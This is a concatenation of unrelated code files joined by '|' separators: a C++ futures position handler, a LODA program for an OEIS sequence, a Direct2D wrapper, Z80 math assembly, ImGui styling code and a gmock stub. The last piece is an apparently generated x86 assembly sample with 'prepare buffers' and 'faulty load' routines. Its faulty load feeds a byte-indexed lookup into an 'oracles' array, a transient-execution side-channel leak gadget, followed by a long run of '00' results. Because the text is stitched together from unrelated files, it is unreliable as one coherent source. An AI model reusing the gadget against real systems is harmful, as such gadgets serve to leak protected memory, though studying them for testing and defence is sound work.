inline void future_update(const string& ticker, VOLUME_DATA_TYPE volume, double price, LfDirectionType direction, LfOffsetFlagType offset)
{
json& pos_array = get_pos_array(ticker);
json& cost_array = get_cost_array(ticker);
bool close_today = false;
LfPosiDirectionType position_dir = LF_CHAR_Net;
switch (offset)
{
case LF_CHAR_Open:
{
position_dir = (direction == LF_CHAR_Buy) ? LF_CHAR_Long : LF_CHAR_Short;
pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)] =
pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() + volume;
break;
}
case LF_CHAR_Close:
case LF_CHAR_ForceClose:
case LF_CHAR_ForceOff:
case LF_CHAR_LocalForceClose:
{
// first open first close, for all four future exchange in China
position_dir = (direction == LF_CHAR_Buy) ? LF_CHAR_Short : LF_CHAR_Long;
// if there is yesterday position, minus
VOLUME_DATA_TYPE yd = pos_array[POS_ARRAY_IDX(position_dir, YESTD_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
if (yd >= 0)
pos_array[POS_ARRAY_IDX(position_dir, YESTD_INDEX)] = yd;
else
close_today = true;
// then tot position needs to be revised.
VOLUME_DATA_TYPE tot = pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
if (tot < pos_array[POS_ARRAY_IDX(position_dir, YESTD_INDEX)] || tot < 0)
is_poisoned = true;
pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)] = tot;
break;
}
case LF_CHAR_CloseToday:
{
position_dir = (direction == LF_CHAR_Buy) ? LF_CHAR_Short : LF_CHAR_Long;
VOLUME_DATA_TYPE tot = pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
if (tot < pos_array[POS_ARRAY_IDX(position_dir, YESTD_INDEX)] || tot < 0)
is_poisoned = true;
pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)] = tot;
close_today = true;
break;
}
case LF_CHAR_CloseYesterday:
{
position_dir = (direction == LF_CHAR_Buy) ? LF_CHAR_Short : LF_CHAR_Long;
pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)] =
pos_array[POS_ARRAY_IDX(position_dir, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
VOLUME_DATA_TYPE yd = pos_array[POS_ARRAY_IDX(position_dir, YESTD_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
if (yd < 0)
is_poisoned = true;
pos_array[POS_ARRAY_IDX(position_dir, YESTD_INDEX)] = yd;
break;
}
default:
{
is_poisoned = true;
}
}
int multiplier = fee_handler->get_contract_multiplier(ticker, is_stock_flag);
cost_array[COST_ARRAY_IDX(position_dir, PH_POS_FEE_INDEX)]
= cost_array[COST_ARRAY_IDX(position_dir, PH_POS_FEE_INDEX)].get<double>()
+ fee_handler->get_fee(ticker, volume, price, direction, offset, false, close_today);
cost_array[COST_ARRAY_IDX(position_dir, PH_BALANCE_INDEX)]
= cost_array[COST_ARRAY_IDX(position_dir, PH_BALANCE_INDEX)].get<double>()
+ price * volume * multiplier * ((offset == LF_CHAR_Open) ? 1: -1);
}
};
inline PosHandlerPtr PosHandler::create(short source)
{
PosHandlerPtr res = PosHandlerPtr(new PosHandler(source));
return res;
}
inline PosHandlerPtr PosHandler::create(short source, const string& js_str)
{
PosHandlerPtr res = PosHandlerPtr(new PosHandler(source));
res->init(js_str);
return res;
}
inline PosHandlerPtr PosHandler::create(short source, json js)
{
PosHandlerPtr res = PosHandlerPtr(new PosHandler(source));
res->init_js(js);
return res;
}
YJJ_NAMESPACE_END
#endif |
; A184736: floor(nr+h), where r=-1+2^(3/2), h=-1/2; complement of A184735.
; 1,3,4,6,8,10,12,14,15,17,19,21,23,25,26,28,30,32,34,36,37,39,41,43,45,47,48,50,52,54,56,58,59,61,63,65,67,68,70,72,74,76,78,79,81,83,85,87,89,90,92,94,96,98,100,101,103,105,107,109,111,112,114,116,118,120,122,123,125,127,129,131,132,134,136,138,140,142,143,145,147,149,151,153,154,156,158,160,162,164,165,167,169,171,173,175,176,178,180,182
mov $3,$0
add $3,1
mov $11,$0
lpb $3
mov $0,$11
sub $3,1
sub $0,$3
mov $7,$0
mov $9,2
lpb $9
sub $9,1
add $0,$9
sub $0,1
mov $2,2
mov $5,$0
add $5,$0
add $5,2
lpb $2
mov $6,1
lpb $4
mov $4,0
lpe
pow $5,2
lpb $5
mov $2,1
add $4,1
trn $5,$4
lpe
sub $4,$6
lpe
mov $6,$4
mov $10,$9
lpb $10
mov $8,$6
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$6
lpe
mov $6,$8
sub $6,1
add $1,$6
lpe
mov $0,$1
|
//Copyright (C) 2014-2017 I
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#pragma once
#include"com.hpp"
#include"wic.hpp"
#include<d2d1.h>
#pragma comment(lib, "d2d1.lib")
#include<memory>
#include<vector>
namespace will{
class d2d{
com_ptr<ID2D1Factory> factory;
template<typename T>
class reverse_{
T& t;
public:
using iterator = typename T::reverse_iterator;
reverse_(T& t):t(t){}
iterator begin(){return t.rbegin();}
iterator end(){return t.rend();}
};
template<typename T>
struct ref_wrap{
T* t;
ref_wrap():t(nullptr){}
ref_wrap(T& t):t(&t){}
ref_wrap& operator=(T& o){t = &o;return *this;}
operator T&()const{return *t;}
T& get()const{return *t;}
};
template<typename T>
static reverse_<T> reverse(T& t){return reverse_<T>(t);}
struct device_dependent_base{
bool available;
device_dependent_base()noexcept{}
virtual ~device_dependent_base()noexcept{}
virtual void construct() = 0;
virtual void destruct() = 0;
virtual void* get() = 0;
operator bool(){return available;}
};
std::vector<std::vector<std::shared_ptr<device_dependent_base>>> ddrs;
template<typename I>
class ddr_base{
ref_wrap<d2d> factory;
std::vector<std::vector<std::shared_ptr<device_dependent_base>>>::size_type parent_index;
std::vector<std::shared_ptr<device_dependent_base>>::size_type index;
bool life;
template<typename T, typename Dummy = void>
class device_context;
template<typename Dummy>
class device_context<ID2D1GdiInteropRenderTarget, Dummy>{HDC dc;ddr_base& t;public:device_context(D2D1_DC_INITIALIZE_MODE mode, ddr_base& t):t(t){t->GetDC(mode, &dc);}~device_context(){RECT r = {};t->ReleaseDC(&r);}operator HDC(){return dc;}};
public:
ddr_base():life(false){}
ddr_base(d2d& w, std::vector<std::vector<std::shared_ptr<device_dependent_base>>>::size_type pi, std::vector<std::shared_ptr<device_dependent_base>>::size_type i)
: factory(w), parent_index(pi), index(i), life(true){}
~ddr_base(){if(life)factory.get().ddrs[parent_index][index].reset();}
ddr_base(const ddr_base&) = delete;
ddr_base(ddr_base&& o):factory(o.factory), parent_index(o.parent_index), index(o.index), life(o.life){}
ddr_base& operator=(const ddr_base&) = delete;
ddr_base& operator=(ddr_base&& o){factory = o.factory;parent_index = o.parent_index;index = o.index;life = o.life;o.life = false;return *this;}
I* get()const{return factory.t ? reinterpret_cast<I*>(factory.get().ddrs[parent_index][index].get()->get()) : nullptr;}
I* operator->(){return get();}
device_context<I> get_dc(D2D1_DC_INITIALIZE_MODE mode){return {mode, *this};}
explicit operator bool(){return life && get() != nullptr;}
};
public:
using solid_color_brush = ddr_base<ID2D1SolidColorBrush>;
using gradient_stop_collection = ddr_base<ID2D1GradientStopCollection>;
using linear_gradient_brush = ddr_base<ID2D1LinearGradientBrush>;
using radial_gradient_brush = ddr_base<ID2D1RadialGradientBrush>;
using bitmap = ddr_base<ID2D1Bitmap>;
using bitmap_brush = ddr_base<ID2D1BitmapBrush>;
using gdi_interop_render_target = ddr_base<ID2D1GdiInteropRenderTarget>;
template<typename T, typename F>
class device_dependent_resource:public device_dependent_base{
com_ptr<T> data;
F init_function;
public:
device_dependent_resource(F&& f):init_function(std::forward<F>(f)){construct();}
~device_dependent_resource(){destruct();}
void construct()override{
data = init_function();
}
void destruct()override{
data.reset();
}
void* get()override{
return data.get();
}
};
private:
template<typename T, typename F>
static std::shared_ptr<device_dependent_resource<T, F>> make_ddr(F&& f){return std::make_shared<device_dependent_resource<T, F>>(std::forward<F>(f));}
template<typename F>
void add_ddr(F&& f){ddrs.emplace_back(std::vector<std::shared_ptr<device_dependent_base>>{make_ddr<typename std::remove_pointer<decltype(f())>::type>(std::forward<F>(f))});}
static void discard_ddr(std::vector<std::shared_ptr<device_dependent_base>>& ddrs){
for(auto&& x : reverse(ddrs))
x->destruct();
}
static void create_ddr(std::vector<std::shared_ptr<device_dependent_base>>& ddrs){
for(auto&& x : ddrs)
x->construct();
}
template<typename F>
static void restore_device_lost(std::vector<std::shared_ptr<device_dependent_base>>& ddrs, F&& f){
discard_ddr(ddrs);
create_ddr(ddrs);
f();
}
template<typename T>
class render_target_base{
ref_wrap<d2d> factory;
std::vector<std::vector<std::shared_ptr<device_dependent_base>>>::size_type index;
bool life;
template<typename U, typename F>
U make_ddr(F&& f){factory.get().ddrs[index].emplace_back(d2d::make_ddr<typename std::remove_pointer<decltype(f())>::type>(std::forward<F>(f)));return U(factory, index, factory.get().ddrs[index].size()-1u);}
public:
render_target_base():life(false){}
render_target_base(d2d& w, std::vector<std::vector<std::shared_ptr<device_dependent_base>>>::size_type i):factory(w), index(i), life(true){}
~render_target_base(){if(life){factory.get().ddrs[index].clear();factory.get().ddrs[index].shrink_to_fit();}}
render_target_base(const render_target_base&) = delete;
render_target_base(render_target_base&& o):factory(o.factory), index(o.index), life(o.life){o.life = false;}
render_target_base& operator=(const render_target_base&) = delete;
render_target_base& operator=(render_target_base&& o){factory = o.factory;index = o.index;life = o.life;o.life = false;return *this;}
T* get(){return factory.t ? reinterpret_cast<T*>(factory.get().ddrs[index][0].get()->get()) : nullptr;}
T* operator->(){return get();}
explicit operator bool(){return life && get() != nullptr;}
solid_color_brush create_solid_color_brush(const D2D1_COLOR_F& col, const D2D1_BRUSH_PROPERTIES& prop = D2D1::BrushProperties()){
return this->make_ddr<solid_color_brush>([col,prop,this]{return com_create_resource<ID2D1SolidColorBrush>([&](ID2D1SolidColorBrush** x){return get()->CreateSolidColorBrush(col, prop, x);});});
}
gradient_stop_collection create_gradient_stop_collection(std::vector<D2D1_GRADIENT_STOP>&& gradient_stops, D2D1_GAMMA gamma = D2D1_GAMMA_1_0, D2D1_EXTEND_MODE extm = D2D1_EXTEND_MODE_CLAMP){
return this->make_ddr<gradient_stop_collection>([gradient_stops, gamma, extm, this]{return com_create_resource<ID2D1GradientStopCollection>([&](ID2D1SolidColorBrush** x){return get()->CreateGradientStopCollection(gradient_stops.data(), gradient_stops.size(), gamma, extm, x);});});
}
linear_gradient_brush create_linear_gradient_brush(const gradient_stop_collection& stops, const D2D1_LINEAR_GRADIENT_BRUSH_PROPERTIES& pos, const D2D1_BRUSH_PROPERTIES& prop = D2D1::BrushProperties()){
return this->make_ddr<linear_gradient_brush>([&stops, pos, prop, this]{return com_create_resource<ID2D1LinearGradientBrush>([&](ID2D1LinearGradientBrush** x){return get()->CreateLinearGradientBrush(pos, prop, stops.get(), x);});});
}
radial_gradient_brush create_radial_gradient_brush(const gradient_stop_collection& stops, const D2D1_RADIAL_GRADIENT_BRUSH_PROPERTIES& pos, const D2D1_BRUSH_PROPERTIES& prop = D2D1::BrushProperties()){
return this->make_ddr<radial_gradient_brush>([&stops, pos, prop, this]{return com_create_resource<ID2D1RadialGradientBrush>([&](ID2D1RadialGradientBrush** x){return get()->CreateRadialGradientBrush(pos, prop, stops.get(), x);});});
}
bitmap create_bitmap(IWICFormatConverter* conv){
return this->make_ddr<bitmap>([conv, this]()->ID2D1Bitmap*{return conv != nullptr ? com_create_resource<ID2D1Bitmap>([&](ID2D1Bitmap** x){return get()->CreateBitmapFromWicBitmap(conv, nullptr, x);}) : nullptr;});
}
template<typename WICConverter>
bitmap create_bitmap(WICConverter&& conv){
return create_bitmap(conv.get());
}
bitmap_brush create_bitmap_brush(const bitmap& bm, const D2D1_BITMAP_BRUSH_PROPERTIES& extm, const D2D1_BRUSH_PROPERTIES& prop){
return this->make_ddr<bitmap_brush>([&bm, extm, prop, this]{return com_create_resource<ID2D1BitmapBrush>([&](ID2D1BitmapBrush** x){return get()->CreateBitmapBrush(bm.get(), extm, prop, x);});});
}
gdi_interop_render_target create_gdi_interop_render_target(){return this->make_ddr<gdi_interop_render_target>([this]{return com_create_resource<ID2D1GdiInteropRenderTarget>([&](ID2D1GdiInteropRenderTarget** x){return get()->QueryInterface(x);});});}
template<typename F, typename G>
void draw(F&& f, G&& g){
(*this)->BeginDraw();
f();
if((*this)->EndDraw() == D2DERR_RECREATE_TARGET)
restore_device_lost(factory.get().ddrs[index], std::forward<G>(g));
}
template<typename F>
void draw(F&& f){
draw(std::forward<F>(f), []{});
}
};
public:
using hwnd_render_target = render_target_base<ID2D1HwndRenderTarget>;
using render_target = render_target_base<ID2D1RenderTarget>;
d2d(D2D1_FACTORY_TYPE t = D2D1_FACTORY_TYPE_MULTI_THREADED):factory(com_create_resource<ID2D1Factory>(std::bind(static_cast<HRESULT(*)(D2D1_FACTORY_TYPE,ID2D1Factory**)>(D2D1CreateFactory), t, std::placeholders::_1))){}
d2d(const d2d&) = default;
d2d(d2d&&) = default;
~d2d() = default;
hwnd_render_target create_hwnd_render_target(HWND hwnd, const D2D1_RENDER_TARGET_PROPERTIES& prop = D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, D2D1::PixelFormat(DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_PREMULTIPLIED)), D2D1_PRESENT_OPTIONS op = D2D1_PRESENT_OPTIONS_IMMEDIATELY){add_ddr([hwnd, prop, op, this]{return com_create_resource<ID2D1HwndRenderTarget>([&](ID2D1HwndRenderTarget** x){const auto rc = [](HWND hwnd){RECT rc; GetClientRect(hwnd, &rc); return rc;}(hwnd);return factory->CreateHwndRenderTarget(prop, D2D1::HwndRenderTargetProperties(hwnd, D2D1::SizeU(rc.right - rc.left, rc.bottom - rc.top), op), x);});});return hwnd_render_target(*this, ddrs.size() - 1u);}
template<typename Window>
hwnd_render_target create_hwnd_render_target(Window&& w, const D2D1_RENDER_TARGET_PROPERTIES& prop = D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, D2D1::PixelFormat(DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_PREMULTIPLIED)), D2D1_PRESENT_OPTIONS op = D2D1_PRESENT_OPTIONS_IMMEDIATELY){return create_hwnd_render_target(w.get_hwnd(), prop, op);}
render_target create_wic_bitmap_render_target(IWICBitmap* bitmap, const D2D1_RENDER_TARGET_PROPERTIES& prop = D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, D2D1::PixelFormat(DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_PREMULTIPLIED), 0.0f, 0.0f, D2D1_RENDER_TARGET_USAGE_GDI_COMPATIBLE)){add_ddr([bitmap, prop, this]{return com_create_resource<ID2D1RenderTarget>([&](ID2D1RenderTarget** x){return factory->CreateWicBitmapRenderTarget(bitmap, prop, x);});});return render_target(*this, ddrs.size() - 1u);}
template<typename Bitmap>
render_target create_wic_bitmap_render_target(Bitmap&& bm, const D2D1_RENDER_TARGET_PROPERTIES& prop = D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, D2D1::PixelFormat(DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_PREMULTIPLIED), 0.0f, 0.0f, D2D1_RENDER_TARGET_USAGE_GDI_COMPATIBLE)){return create_wic_bitmap_render_target(bm.get(), prop);}
render_target create_dxgi_surface_render_target(IDXGISurface* surface, const D2D1_RENDER_TARGET_PROPERTIES& prop = D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, D2D1::PixelFormat(DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_PREMULTIPLIED), 0.0f, 0.0f, D2D1_RENDER_TARGET_USAGE_GDI_COMPATIBLE)){add_ddr([surface, prop, this]{return com_create_resource<ID2D1RenderTarget>([&](ID2D1RenderTarget** x){return factory->CreateDxgiSurfaceRenderTarget(surface, prop, x);});});return render_target(*this, ddrs.size() - 1u);}
template<typename Surface>
render_target create_dxgi_surface_render_target(Surface&& sf, const D2D1_RENDER_TARGET_PROPERTIES& prop = D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, D2D1::PixelFormat(DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_PREMULTIPLIED), 0.0f, 0.0f, D2D1_RENDER_TARGET_USAGE_GDI_COMPATIBLE)){return create_dxgi_surface_render_target(sf.get(), prop);}
ID2D1Factory* get(){return factory.get();}
ID2D1Factory* operator->(){return get();}
};
} |
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccixp_dstore
EXTERN cm48_sdccixp_m482d
cm48_sdccixp_dstore:
; sdcc float primitive
; Store AC' to memory at address HL
;
; Convert from math48 to sdcc float format.
;
; enter : HL = float * (sdcc format)
; AC'= double (math48 format)
;
; exit : dehl'= sdcc_float
; *hl = sdcc_float
;
; uses : af, bc', de', hl'
push hl
call cm48_sdccixp_m482d
; dehl = sdcc_float
; stack = float *
ld c,l
ld b,h
pop hl
ld (hl),c
inc hl
ld (hl),b
inc hl
ld (hl),e
inc hl
ld (hl),d
ld l,c
ld h,b
exx
ret
|
#include "main.h"
void MainWindowStyle()
{
ImGuiIO &io = ImGui::GetIO();
io.IniFilename = NULL;
ImGuiStyle* style = &ImGui::GetStyle();
ImVec4* colors = style->Colors;
ImGui::StyleColorsDark(style);
colors[ImGuiCol_Text] = ImVec4(0.84f, 0.84f, 0.84f, 1.00f);
colors[ImGuiCol_WindowBg] = ImVec4(0.22f, 0.22f, 0.22f, 1.00f);
colors[ImGuiCol_ChildBg] = ImVec4(0.19f, 0.19f, 0.19f, 1.00f);
colors[ImGuiCol_PopupBg] = ImVec4(0.09f, 0.09f, 0.09f, 1.00f);
colors[ImGuiCol_Border] = ImVec4(0.17f, 0.17f, 0.17f, 1.00f);
colors[ImGuiCol_BorderShadow] = ImVec4(0.10f, 0.10f, 0.10f, 0.00f);
colors[ImGuiCol_FrameBg] = ImVec4(0.33f, 0.33f, 0.33f, 1.00f);
colors[ImGuiCol_FrameBgHovered] = ImVec4(0.47f, 0.47f, 0.47f, 1.00f);
colors[ImGuiCol_FrameBgActive] = ImVec4(0.16f, 0.16f, 0.16f, 1.00f);
colors[ImGuiCol_TitleBg] = ImVec4(0.11f, 0.11f, 0.11f, 1.00f);
colors[ImGuiCol_TitleBgActive] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_MenuBarBg] = ImVec4(0.11f, 0.11f, 0.11f, 1.00f);
colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.33f, 0.33f, 0.33f, 1.00f);
colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.33f, 0.33f, 0.33f, 1.00f);
colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.35f, 0.35f, 0.35f, 1.00f);
colors[ImGuiCol_CheckMark] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_SliderGrab] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_SliderGrabActive] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_Button] = ImVec4(0.33f, 0.33f, 0.33f, 1.00f);
colors[ImGuiCol_ButtonHovered] = ImVec4(0.40f, 0.40f, 0.40f, 1.00f);
colors[ImGuiCol_ButtonActive] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_Header] = ImVec4(0.27f, 0.27f, 0.27f, 1.00f);
colors[ImGuiCol_HeaderHovered] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_HeaderActive] = ImVec4(0.27f, 0.27f, 0.27f, 1.00f);
colors[ImGuiCol_Separator] = ImVec4(0.18f, 0.18f, 0.18f, 1.00f);
colors[ImGuiCol_SeparatorHovered] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_SeparatorActive] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_ResizeGrip] = ImVec4(0.54f, 0.54f, 0.54f, 1.00f);
colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_ResizeGripActive] = ImVec4(0.19f, 0.39f, 0.69f, 1.00f);
colors[ImGuiCol_Tab] = ImVec4(0.11f, 0.11f, 0.11f, 1.00f);
colors[ImGuiCol_TabHovered] = ImVec4(0.14f, 0.14f, 0.14f, 1.00f);
colors[ImGuiCol_TabActive] = ImVec4(0.19f, 0.19f, 0.19f, 1.00f);
colors[ImGuiCol_PlotHistogram] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_PlotHistogramHovered] = ImVec4(0.20f, 0.39f, 0.69f, 1.00f);
colors[ImGuiCol_TextSelectedBg] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
colors[ImGuiCol_NavHighlight] = ImVec4(0.28f, 0.45f, 0.70f, 1.00f);
style->WindowPadding = ImVec2(12.00f, 8.00f);
style->ItemSpacing = ImVec2(7.00f, 3.00f);
style->GrabMinSize = 20.00f;
style->WindowRounding = 8.00f;
style->FrameBorderSize = 0.00f;
style->FrameRounding = 4.00f;
style->GrabRounding = 12.00f;
}
void MainWindowGUI(State & state)
{
//////////////////////////////////
ImStudio::GUI &gui = state.gui;
std::mt19937 &rng = state.rng;
ImGuiIO &io = ImGui::GetIO();
static int w_w = io.DisplaySize.x;
static int w_h = io.DisplaySize.y;
std::uniform_int_distribution<int>
gen(999, 9999);
//////////////////////////////////
ImGui::SetNextWindowPos(ImVec2(0, 0));
ImGui::SetNextWindowSize(ImGui::GetIO().DisplaySize);
ImGui::SetNextWindowBgAlpha(0.00f);
// window-menubar
gui.mb_P = ImVec2(0, 0);
gui.mb_S = ImVec2(w_w, 46);
if (gui.menubar) gui.ShowMenubar();
// workspace-create
if (!gui.compact){
if (gui.wksp_create)
{// create-main
{// create-sidebar
gui.sb_P = ImVec2(0, gui.mb_S.y);
gui.sb_S = ImVec2(170, w_h - gui.mb_S.y);
if (gui.sidebar) gui.ShowSidebar();
// create-properties
gui.pt_P = ImVec2(w_w - 300, gui.mb_S.y);
gui.pt_S = ImVec2(300, w_h - gui.mb_S.y);
if (gui.properties) gui.ShowProperties();
// create-viewport
gui.vp_P = ImVec2(gui.sb_S.x, gui.mb_S.y);
gui.vp_S = ImVec2(gui.pt_P.x - gui.sb_S.x, w_h - gui.mb_S.y);
if (gui.viewport) gui.ShowViewport(gen(rng));
}
}
// workspace-output
gui.ot_P = ImVec2(0, gui.mb_S.y);
gui.ot_S = ImVec2(w_w, w_h - gui.mb_S.y);
if (gui.wksp_output) gui.ShowOutputWorkspace();
}
else
{
gui.wksp_output = true;
// create-sidebar
gui.sb_P = ImVec2(0, gui.mb_S.y);
gui.sb_S = ImVec2(170, w_h - gui.mb_S.y);
if (gui.sidebar) gui.ShowSidebar();
// create-properties
gui.pt_P = ImVec2(w_w - 300, gui.mb_S.y);
gui.pt_S = ImVec2(300, w_h - gui.mb_S.y);
if (gui.properties) gui.ShowProperties();
// workspace-output
gui.ot_P = ImVec2(gui.sb_S.x, w_h - 300);
gui.ot_S = ImVec2(gui.pt_P.x - gui.sb_S.x, 300);
if (gui.wksp_output) gui.ShowOutputWorkspace();
// create-viewport
gui.vp_P = ImVec2(gui.sb_S.x, gui.mb_S.y);
gui.vp_S = ImVec2(gui.pt_P.x - gui.sb_S.x, w_h - gui.mb_S.y);
if (gui.viewport) gui.ShowViewport(gen(rng));
}
{ // create-children
if (gui.child_style) utils::ShowStyleEditorWindow(&gui.child_style);
if (gui.child_demo) ImGui::ShowDemoWindow(&gui.child_demo);
if (gui.child_metrics) ImGui::ShowMetricsWindow(&gui.child_metrics);
if (gui.child_stack) ImGui::ShowStackToolWindow(&gui.child_stack);
if (gui.child_color) utils::ShowColorExportWindow(&gui.child_color);
if (gui.child_resources) utils::ShowResourcesWindow(&gui.child_resources);
if (gui.child_about) utils::ShowAboutWindow(&gui.child_about);
}
} |
#include "stack.h"
#include "gmock/gmock.h"
using namespace testing;
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x17d4d, %rcx
nop
nop
nop
nop
nop
cmp %r13, %r13
movups (%rcx), %xmm6
vpextrq $0, %xmm6, %r12
nop
cmp $18220, %rcx
lea addresses_WC_ht+0x15b67, %rsi
clflush (%rsi)
nop
nop
nop
add %rdi, %rdi
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_WC_ht+0x1dd48, %rcx
and %r12, %r12
mov (%rcx), %esi
nop
nop
and %rdi, %rdi
lea addresses_WC_ht+0x36e5, %rax
nop
nop
nop
nop
and $34840, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, (%rax)
add %rdx, %rdx
lea addresses_A_ht+0x1d5d0, %r12
nop
nop
nop
nop
cmp %rdi, %rdi
mov (%r12), %eax
dec %rax
lea addresses_UC_ht+0xe607, %rdi
cmp %rax, %rax
mov $0x6162636465666768, %r12
movq %r12, %xmm0
movups %xmm0, (%rdi)
add $50798, %rsi
lea addresses_WC_ht+0x2055, %r13
nop
sub %rdi, %rdi
movw $0x6162, (%r13)
nop
nop
and $59674, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rbp
push %rbx
push %rcx
// Faulty Load
lea addresses_US+0xe095, %r8
nop
nop
cmp $48359, %r14
movups (%r8), %xmm6
vpextrq $1, %xmm6, %r12
lea oracles, %rbx
and $0xff, %r12
shlq $12, %r12
mov (%rbx,%r12,1), %r12
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 